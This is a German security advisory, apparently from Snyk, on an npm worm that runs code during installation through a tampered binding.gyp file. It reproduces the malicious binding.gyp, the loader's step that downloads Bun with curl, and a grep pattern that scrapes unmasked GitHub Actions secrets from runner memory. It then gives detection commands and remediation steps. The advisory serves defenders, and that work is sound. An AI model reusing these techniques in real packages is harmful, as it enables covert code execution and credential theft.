Node-gyp-Supply-Chain-Kompromittierung: Ein sich selbst verbreitender npm-Wurm, der sich in binding.gyp versteckt

Ein Supply-Chain-Angriff breitet sich derzeit über die npm-Registry aus und missbraucht dabei eine Datei, die von den meisten Sicherheitstools kaum geprüft wird: binding.gyp. Statt auf die gut überwachten Lifecycle-Skripte preinstall oder postinstall zu setzen, enthält die Malware eine manipulierte binding.gyp, die node-gyp dazu bringt, während npm install automatisch vom Angreifer kontrollierten Code auszuführen. Snyk verfolgt den Vorfall unter Node-gyp Supply Chain Compromise - June 2026. Betroffen sind 57 Pakete mit Hunderten schädlichen Versionen, die alle als eingebetteter schädlicher Code mit kritischem Schweregrad eingestuft wurden.

Die Payload stiehlt Entwickler- und CI/CD-Zugangsdaten für npm, GitHub, AWS, GCP, Azure, HashiCorp Vault und Kubernetes, schleust sie über vom Angreifer kontrollierte GitHub-Repositories aus, fügt GitHub-Actions-Workflows zur Persistenz ein und verbreitet sich selbst weiter, indem sie Pakete über jedes erreichbare Maintainer-Konto erneut veröffentlicht. StepSecurity, das die Kampagne zuerst meldete, bezeichnete die Installationstechnik als „Phantom Gyp“ und verfolgt die umfassendere Kampagne unter dem Namen „Miasma“, einem Nachkommen der Shai-Hulud-Wurmfamilie.

Kurz zusammengefasst

Betroffene Pakete

Snyk führt 57 betroffene Pakete auf. Wir haben bestätigt, dass die aufgeführten schädlichen Versionen in der öffentlichen Registry weiterhin abrufbar sind (zum Beispiel liefern alle vier Versionen von @vapi-ai/server-sdk weiterhin verfügbare Tarballs von registry.npmjs.org). Die Veröffentlichungszeitpunkte liegen am 3. und 4. Juni 2026. Die Opfer mit den meisten Downloads pro Woche laut npm-Registry-API sind:

Die meisten der 57 Pakete gruppieren sich um ein einzelnes npm-Konto. Eine Abfrage der Registry zeigt, dass alle 25 Pakete autotel und autotel-* denselben Maintainer haben: jagreehal – dasselbe Konto veröffentlicht auch den Scope @jagreehal/* und awaitly. Eine solche Konzentration auf ein einzelnes Konto ist genau das, was man von einem Wurm erwarten würde, der alles auflistet und erneut veröffentlicht, worauf ein kompromittiertes Konto zugreifen kann:

• Familie autotel-* (24 Pakete plus autotel selbst): darunter autotel-mcp (Versionen von 0.1.14 bis 29.0.1), autotel-subscribers, autotel-terminal, autotel-mongoose, autotel-eventcatalog, autotel-devtools, autotel-aws, autotel-cloudflare, autotel-hono, autotel-playwright, autotel-sentry und weitere

• Familie eslint-plugin-executable-stories-* (Snyk hat bereits über npm-Supply-Chain-Malware in ESLint-Plugins berichtet)

• Pakete im Scope @jagreehal/*

• @evolvconsulting/evolv-coder-lite

Viele der überhöhten Versionsnummern (zum Beispiel autotel-mcp, das bis in den Bereich 29.x springt, oder autotel, für das innerhalb derselben Minute am 4. Juni sowohl 2.26.4 als auch 3.4.3 veröffentlicht wurden) sind selbst eine Folge der automatisierten Neuveröffentlichungen durch den Wurm und keine legitimen Releases. Die vollständige, laufend aktualisierte Liste der Pakete und betroffenen Versionen finden Sie auf der Snyk-Incident-Seite.

Ein wichtiger Punkt bei der Behebung: Bei mindestens einigen Paketen wurde der latest-Dist-Tag inzwischen wieder auf ein sauberes Release gesetzt (bei autotel verweist latest jetzt auf 3.4.2, veröffentlicht vor den schädlichen Versionen), die schädlichen Versionen wurden jedoch nicht aus der Registry entfernt. Zum Zeitpunkt der Erstellung liefern autotel@3.4.3 und autotel@2.26.4 weiterhin verfügbare Tarballs. Bei einem neuen npm install autotel wird möglicherweise die saubere Version installiert. Jede Lockfile, exakte Versionsfixierung oder transitive Abhängigkeit, die auf eine schädliche Version verweist, lädt jedoch weiterhin die Malware herunter. Ein sauberer latest-Tag ist kein Beleg dafür, dass Sie sicher sind.

So funktioniert der Angriff

Die neue Methode: Codeausführung während der Installation über binding.gyp

Wenn Sie npm install für ein Paket ausführen, das eine Datei binding.gyp enthält und für das keine passende vorkompilierte Binärdatei verfügbar ist, übergibt npm das Paket an node-gyp und führt node-gyp rebuild aus, um ein vermeintliches natives C/C++-Addon zu kompilieren. Das ist normales, erwartetes Verhalten bei Paketen mit nativen Komponenten. Es geschieht, ohne dass in der Datei package.json ein Eintrag für preinstall oder postinstall vorhanden sein muss.

Die GYP-Buildkonfigurationssyntax unterstützt die Ausführung von Befehlen. Die Form <!(...) führt während der Konfigurationsphase einen Shell-Befehl aus und setzt dessen Ausgabe in die Builddefinition ein. Die kompromittierten Pakete missbrauchen genau diese Funktion. Hier sehen Sie die exakte, 157 Byte große binding.gyp-Datei, die in @vapi-ai/server-sdk@1.2.2 und autotel@3.4.3 enthalten ist (bei den von uns untersuchten Paketen bytegenau identisch):

1{
2  "targets": [
3    {
4      "target_name": "Setup",
5      "type": "none",
6      "sources": ["<!(node index.js > /dev/null 2>&1 && echo stub.c)"]
7    }
8  ]
9}

Der Ausdruck <!(node index.js ...) führt node index.js aus, während node-gyp den Build lediglich konfiguriert – lange bevor ein Compiler gestartet wird. Beim Ziel "type": "none" wird tatsächlich nichts kompiliert. Der Zweck des Befehls ist also allein der Nebeneffekt, index.js auszuführen. Die Ausgabe wird nach /dev/null umgeleitet, damit die Installation unauffällig wirkt, und echo stub.c liefert einen plausiblen Quelldateinamen, damit gyp ohne offensichtlichen Fehler fortfährt. So wird bei einem gewöhnlichen npm install beliebiger Code ausgeführt.

Entscheidend ist, dass die package.json-Dateien in diesen Tarballs keine Skripte für preinstall, postinstall, install oder prepare enthalten. Die einzigen Einträge unter scripts sind gewöhnliche Entwicklungsaufgaben (build, lint, test, format), und das Paket deklariert nicht einmal "gypfile": true. Für Tools, die gezielt Skripte prüfen, gibt es in package.json nichts zu beanstanden. Das Vorhandensein einer Datei binding.gyp genügt, damit npm selbstständig node-gyp aufruft.

Die Payload: ein mehrstufiger Loader auf Bun-Basis

Die Datei index.js, die durch binding.gyp aufgerufen wird, ist ein 4,5 MB großer, verschleierter Loader. Wir haben die äußeren Ebenen statisch aus dem veröffentlichten Tarball dekodiert (ohne sie auszuführen) und folgende Abfolge bestätigt:

1. ROT-14-Cäsar-Chiffre. Die gesamte Datei besteht aus einem einzigen eval über ein Zeichen-Code-Array mit etwa 1,3 Millionen Einträgen, das in einen String umgewandelt und um 14 Stellen verschoben wird. Der sichtbare Wrapper lautet wörtlich eval(function(s,n){return s.replace(/[a-zA-Z]/g,...rotate...)}([...],14)).

2. Selbstentschlüsselnde AES-128-GCM-Ebene. Bei der dekodierten Stufe handelt es sich um eine async-IIFE, die node:crypto importiert und eine Entschlüsselungsfunktion für aes-128-gcm definiert (createDecipheriv mit einem 16 Byte langen Authentifizierungstag). Anschließend entschlüsselt sie zwei eingebettete Chiffretext-Blobs, deren hexadezimaler Schlüssel, IV und Authentifizierungstag inline fest codiert sind.

3. Bun-Runtime-Loader (907-Byte-Blob). Der erste entschlüsselte Blob erkennt Betriebssystem und Architektur, lädt dann eine eigenständige Bun-v1.3.13-Binärdatei aus den offiziellen GitHub-Releases von oven-sh/bun in ein temporäres Verzeichnis herunter und führt sie aus:

1 const url="https://github.com/oven-sh/bun/releases/download/bun-v1.3.13/bun-"+os+"-"+a+".zip"
2 execSync('curl -sSL "'+url+'" -o "'+zip+'"',{stdio:"pipe"})
3 execSync('unzip -j -o "'+zip+'" -d "'+dir+'"',{stdio:"pipe"})
4chmodSync(exe,"755")

1. Haupt-Payload (Blob mit etwa 649 KB). Der zweite entschlüsselte Blob (664.535 Byte) enthält die eigentliche Stealer-Logik. Sie wird mit der heruntergeladenen Bun-Binärdatei ausgeführt und nicht mit dem Node.js-Prozess, der die Installation gestartet hat.

Die Kernlogik wird absichtlich mit einer heruntergeladenen Bun-Binärdatei ausgeführt und nicht mit dem node-Prozess, der die Installation gestartet hat. So wird die Erkennung umgangen: Überwachungsmechanismen, die während npm install auf Node.js-Kinderprozesse beschränkt sind, erkennen den Bun-Prozess nicht, der die eigentliche Arbeit erledigt. Das erklärt auch, warum eine Suche nach Klartext in index.js keine Zugangsdaten oder C2-Indikatoren findet: Dieses Verhalten steckt im Blob, der von Bun ausgeführt wird. Wir haben diese letzte Bun-Stufe nicht ausgeführt. Der folgende Katalog des Verhaltens basiert daher auf öffentlich veröffentlichten Analysen.

Abgreifen von Zugangsdaten

Nach der Ausführung durchsucht die Payload Entwickler- und CI/CD-Umgebungen nach Geheimnissen. Im Visier sind:

• AWS: aws_access_key_id / aws_secret_access_key sowie der IMDSv2-Metadatenendpunkt (169.254.169.254)

• GCP: GOOGLE_APPLICATION_CREDENTIALS und Service-Account-Schlüssel

• Azure: Managed-Identity-Token über IMDS

• GitHub Actions: ACTIONS_ID_TOKEN_REQUEST_TOKEN sowie das Auslesen des Runner-Prozessspeichers

• HashiCorp Vault und Kubernetes: Service-Account-Token aus Standardpfaden

• Passwortmanager: 1Password, pass und gopass-Datenspeicher

In GitHub Actions durchsucht die Payload den Prozessspeicher des Runners, um maskierte Geheimnisse in unmaskierter Form auszulesen. Dazu verwendet sie ein Muster wie:

1tr -d '\0' | grep -aoE '"[^"]+":\{"value":"[^"]*","isSecret":true\}'

Die Maskierung von GitHub-Actions-Geheimnissen redigiert Geheimnisse in Logs. Sie schützt sie jedoch nicht vor einem Prozess, der direkt auf den Runner-Speicher zugreifen kann. Jedes Geheimnis, das der Runner sehen kann, sollte als offengelegt gelten.

Exfiltration über GitHub-Repositories

Statt eine festgelegte C2-Domain zu verwenden, nutzt die Malware GitHub sowohl als Treffpunkt als auch als Ablageort. Die Aktivitäten wurden mit dem GitHub-Konto liuende501 in Verbindung gebracht, das zum Zeitpunkt der Erstellung 321 öffentliche Repositories hostet (api.github.com/users/liuende501). Das passt zum Vorgehen des Wurms, programmgesteuert Repositories zum Speichern gestohlener Daten anzulegen. Der Ablauf:

1. Den Treffpunkt ermitteln, indem öffentliche Commits nach einem fest codierten Schlüsselwort durchsucht werden

2. Ad hoc ein Repository mit zufällig generiertem Namen erstellen

3. Verschlüsselte, abgegriffene Daten als results/results-{timestamp}.json hochladen

4. API-Anfragen mit dem User-Agent python-requests/2.31.0 stellen

Die Exfiltration über GitHub fügt sich in den normalen Entwickler- und CI-Datenverkehr ein, da ausgehende Verbindungen zu github.com und api.github.com in Build-Umgebungen nur selten blockiert werden.

Wurmverbreitung über verschiedene Ökosysteme

Die Payload verbreitet sich selbstständig und nutzt für jedes Ökosystem einen eigenen Mechanismus:

• npm-Wurm: Listet die Pakete eines Maintainers über registry.npmjs.org/-/v1/search?text=maintainer:{username} auf, lädt jedes Ziel herunter, fügt die schädliche binding.gyp und index.js ein und veröffentlicht es erneut. Wie schon bei früheren Wellen dieser Familie (siehe Snyks Berichterstattung zu TanStack, dem ersten dokumentierten schädlichen npm-Paket mit gültiger SLSA-Provenienz), fälscht der Wurm außerdem Sigstore-Provenienzattestierungen über Fulcio und Rekor. So können erneut infizierte Pakete legitim signiert wirken.

• RubyGems-Wurm: Fügt gleichwertige Logik in extconf.rb ein, den Build-Hook von RubyGems für native Erweiterungen, und verwendet dabei denselben Bun-Downloader. extconf.rb erfüllt für RubyGems eine ähnliche Funktion wie binding.gyp für npm: Es handelt sich um eine Datei, die während des Builds automatisch ausgeführt wird und im Sinne des Lifecycle keine „Skript“-Datei ist.

• Vergiftung von GitHub-Repositories: Fügt Backdoor-Dateien in Repositories ein, in die die gestohlenen Tokens schreiben können. Dazu gehören Hooks für KI-Coding-Agenten und Editoren (.claude/, .cursor/rules/, .vscode/tasks.json), die die Payload erneut ausführen, sobald ein Entwickler das Projekt öffnet.

Die Ökosystem-übergreifende Reichweite (npm und RubyGems) und die Wiederverwendung von Build-Time-Erweiterungsdateien in beiden Ökosystemen sind der rote Faden dieser Kampagne: Gesucht wird die Datei, die automatisch bei der Installation oder beim Build ausgeführt wird, aber von niemandem als „Skript“ eingestuft wird.

Auswirkungsanalyse

Der unmittelbare Schadensradius umfasst alle Entwicklerrechner und CI-Runner, auf denen npm install ausgeführt und eine der betroffenen Paketversionen aufgelöst wurde. CI/CD-Umgebungen sind am stärksten gefährdet, da durch das Auslesen des Runner-Speichers jedes Geheimnis als kompromittiert gelten sollte, auf das der Runner zugreifen kann – nicht nur solche, die explizit als Umgebungsvariablen übergeben wurden.

Auf Entwicklerrechnern besteht durch die Hooks für Editoren und KI-Agenten ein zusätzliches, längerfristiges Risiko. Diese bleiben auch nach einem einfachen npm uninstall bestehen und führen die Payload in der nächsten Sitzung erneut aus.

Die Wahrscheinlichkeit einer weiteren Verbreitung scheint geringer als auf dem Höhepunkt der Kampagne: Die betroffenen Pakete lassen sich auf eine kleine Zahl von Maintainer-Konten zurückführen (wir haben bestätigt, dass alle 25 autotel- und autotel-*-Pakete zum selben Konto jagreehal gehören), und in letzter Zeit wurden keine neuen kompromittierten Releases beobachtet. Die schädlichen Versionen sind jedoch weiterhin über npm installierbar. Das Risiko einer Offenlegung besteht also für alle, die sie direkt oder transitiv beziehen, bevor sie vollständig entfernt wurden.

Erkennung

Mit Snyk scannen. Snyk hat Hinweise zu den betroffenen Versionen in der Snyk Vulnerability Database veröffentlicht und eine Vorfallsseite unter security.snyk.io/node-gyp-supply-chain-compromise-june-2026 eingerichtet. Scannen Sie Ihr Projekt:

1snyk test

So scannen Sie ein bestimmtes Manifest oder eine Lockdatei:

1snyk test --file=package-lock.json

Untersuchen Sie die Technik, nicht nur die Paketnamen. Da der Ausführungspfad über binding.gyp verläuft, können Sie unabhängig von der Paketliste danach suchen:

1# Packages shipping a binding.gyp that contain a node-gyp command-expansion payload
2grep -rl '<!(' node_modules/*/binding.gyp node_modules/**/binding.gyp 2>/dev/null
3
4# Suspiciously large root-level index.js files (legit entry points are rarely multi-MB)
5find node_modules -maxdepth 2 -name index.js -size +1M 2>/dev/null
6
7# Editor / AI-agent persistence hooks injected into your repo
8ls -la .claude/ .cursor/rules/ .vscode/tasks.json 2>/dev/null

Netzwerk- und Verhaltensindikatoren:

• node-gyp rebuild wird für Pakete ausgeführt, die kein legitimes natives Add-on enthalten

• Unerwartete untergeordnete Prozesse (curl, unzip, bun) werden während npm install gestartet

• Während der Installation wird eine eigenständige bun-Binärdatei aus den Releases von oven-sh/bun heruntergeladen, obwohl Sie Bun gar nicht angefordert haben

• GitHub-API-Aufrufe mit dem User-Agent python-requests/2.31.0, die aus einem CI-Schritt stammen, bei dem kein Python-Prozess läuft

Behebung

Wenn Sie nicht sicher sind, ob Sie betroffen waren, gehen Sie von einer bestätigten Kompromittierung aus. Die abgegriffenen Daten werden vor der Exfiltration verschlüsselt. Daher lässt sich im Nachhinein nicht feststellen, was entwendet wurde.

Schritt 1: Entfernen Sie Persistenzmechanismen, bevor Sie Tokens rotieren. Wurden Hooks für Editoren oder KI-Agenten eingeschleust, entfernen Sie sie zuerst, damit sie nicht auf Änderungen an Zugangsdaten reagieren können:

1# Inspect and remove injected hooks
2cat .claude/settings.json 2>/dev/null
3cat .vscode/tasks.json 2>/dev/null   # remove any "runOn": "folderOpen" entries
4rm -rf .cursor/rules/setup.mdc 2>/dev/null

Schritt 2: Bereinigen Sie die Umgebung und installieren Sie bekannte, saubere Versionen neu.

1rm -rf node_modules
2# Pin affected packages to known-good versions in package.json, then:
3npm install --ignore-scripts

--ignore-scripts verhindert den impliziten Installations-Hook von npm, der für Pakete mit binding.gyp node-gyp rebuild ausführt. Dies sollte jedoch nicht als alleiniger Schutz betrachtet werden: Das schädliche Paket kann weiterhin abgerufen und entpackt werden, andere Tools oder ein späteres npm rebuild ohne --ignore-scripts können es erstellen, und andere Paketmanager oder Workflows verhalten sich möglicherweise anders. Sicherer ist es, schädliche Versionen zu entfernen oder festzuschreiben und vor jedem Build-Schritt einen Scan durchzuführen.

Schritt 3: Rotieren Sie alle Zugangsdaten, auf die von einem betroffenen Rechner oder Runner aus zugegriffen werden kann:

• npm-Publish-Tokens

• Persönliche GitHub-Access-Tokens und Actions-Secrets (für Repository und Organisation)

• AWS-Zugriffsschlüssel und alle IAM-Rollen, auf die betroffene Runner zugreifen können

• GCP-Service-Account-Schlüssel

• Azure-Service-Principals und Berechtigungsbereiche verwalteter Identitäten

• HashiCorp-Vault-Tokens

• Kubernetes-Service-Account-Tokens

• Alle Inhalte eines gezielt angegriffenen Passwortmanager-Tresors (1Password, pass, gopass)

Schritt 4: Prüfen Sie GitHub auf eingeschleuste Workflows und Dead-Drop-Repositories.

1# Look for unexpected workflow files or branches added recently
2git log --oneline --all -- .github/workflows/
3
4# Repositories created on your account without your action
5gh repo list --json name,createdAt --limit 200

Schritt 5: Schützen Sie sich gegen die nächste Angriffswelle.

• Verwenden Sie in CI standardmäßig npm install --ignore-scripts (Best Practice zum Schutz vor der gesamten Bandbreite von Angriffen während der Installation) und kombinieren Sie dies mit einer Scan-Prüfung

• Fixieren Sie Abhängigkeiten auf exakte Versionen mit Integritäts-Hashes in der Lockdatei

• Erwägen Sie eine Cooldown-Richtlinie für die Registry, die Pakete zurückhält, die in den letzten Tagen veröffentlicht wurden, bevor sie in Builds aufgenommen werden

• Beschränken Sie CI/CD-Tokens nach dem Prinzip der geringsten Berechtigungen, damit ein einzelnes abgegriffenes Token nur einen kleinen Schadensradius hat

• Nutzen Sie Snyk, um Ihren Abhängigkeitsbaum kontinuierlich auf schädliche Pakete zu überwachen, sobald diese als solche erkannt werden

Der Leitfaden von Snyk zur Verhinderung von npm-Supply-Chain-Angriffen enthält eine umfassendere Checkliste.

Das große Ganze: Ein Nachkomme von Shai-Hulud

Dies ist die jüngste Welle der Shai-Hulud-/Miasma-Linie – einer Familie sich selbst verbreitender npm-Würmer, die die Registry seit Ende 2025 wiederholt angegriffen hat. Snyk berichtete über eine frühere Miasma-Welle im Juni 2026, die npm-Pakete von Red Hat betraf. Die Exfiltrations-Repositories, die in diesen Wellen verwendet wurden, enthalten Beschreibungen, die direkt auf frühere Shai-Hulud-Kampagnen verweisen. Jede Welle hat einen verschleierten Stealer auf Basis der Bun-Runtime wiederverwendet und um neue Persistenzmechanismen, Exfiltrationswege und Methoden ergänzt, mit denen Code automatisch bei der Installation oder beim Build ausgeführt wird. Die Entwicklung dieses Tricks zur automatischen Ausführung sollten Sie sich besonders merken:

• Frühere Wellen setzten auf Lifecycle-Skripte wie preinstall / postinstall

• Spätere Wellen ergänzten Hooks für KI-Coding-Agenten (SessionStart) und IDE-Aufgaben beim Öffnen von Ordnern, um Persistenz zu erreichen

• In dieser Welle wird die erste Ausführung auf binding.gyp / node-gyp (und bei RubyGems auf extconf.rb) verlagert – Build-Time-Dateien, die überhaupt keine Lifecycle-Skripte sind

Snyk hat frühere Wellen dieser Kampagnenfamilie ausführlich behandelt:

• Miasma-Angriff trifft npm-Pakete von Red Hat

• Mini Shai-Hulud trifft AntV

• npm-Pakete von TanStack kompromittiert

• Bun-basierter Stealer trifft SAP-CAP-JS- und MBT-npm-Pakete

• SHA1-Hulud: Vorfall in der npm-Supply-Chain

• npm-Supply-Chain-Angriff durch Kompromittierung eines Open-Source-Maintainers

Einen Überblick über die Wurmfamilie, von der dieser Vorfall abstammt, finden Sie hier:

Snyk-Sicherheitsforscher erklärt den npm-Supply-Chain-Wurm Mini Shai-Hulud und seine Verbreitung Mini Shai-Hulud: Der ausgefeilteste NPM-Supply-Chain-Angriff des Jahres 2026 (Überblick über die Shai-Hulud-/Miasma-Wurmfamilie und ihre selbstständige Verbreitung)

Eine praktische Anleitung, wie Sie mit Snyk kompromittierte Pakete aus dieser Kampagnenfamilie finden und beheben:

Snyk-Sicherheitsingenieur zeigt, wie sich mit der Snyk-CLI von Shai-Hulud kompromittierte npm-Pakete erkennen und beheben lassen Shai-Hulud-NPM-Angriff: Behebung mit Snyk – Anleitung zum Erkennen und Beheben kompromittierter Pakete mit Snyk-Tools.

Wenn Sie wissen möchten, wie die Kompromittierung eines legitimen, vertrauenswürdigen Pakets in das umfassendere Supply-Chain-Bedrohungsmodell passt, bietet die Lektion von Snyk Learn zu kompromittierten legitimen Paketen einen hilfreichen Einstieg.

Zeitachse (UTC)

Berichterstattung von Snyk

Snyk hat Hinweise zu den betroffenen Versionen in der Snyk Vulnerability Database veröffentlicht und führt eine aktuelle Vorfallsseite, auf der alle 57 Pakete und ihre schädlichen Versionen aufgeführt sind. Snyk-Kunden können mit den Scans von Snyk über den gesamten SDLC hinweg ermitteln, welche Projekte betroffene Versionen direkt oder transitiv beziehen, und die Behebung anhand des Gefährdungsgrads priorisieren.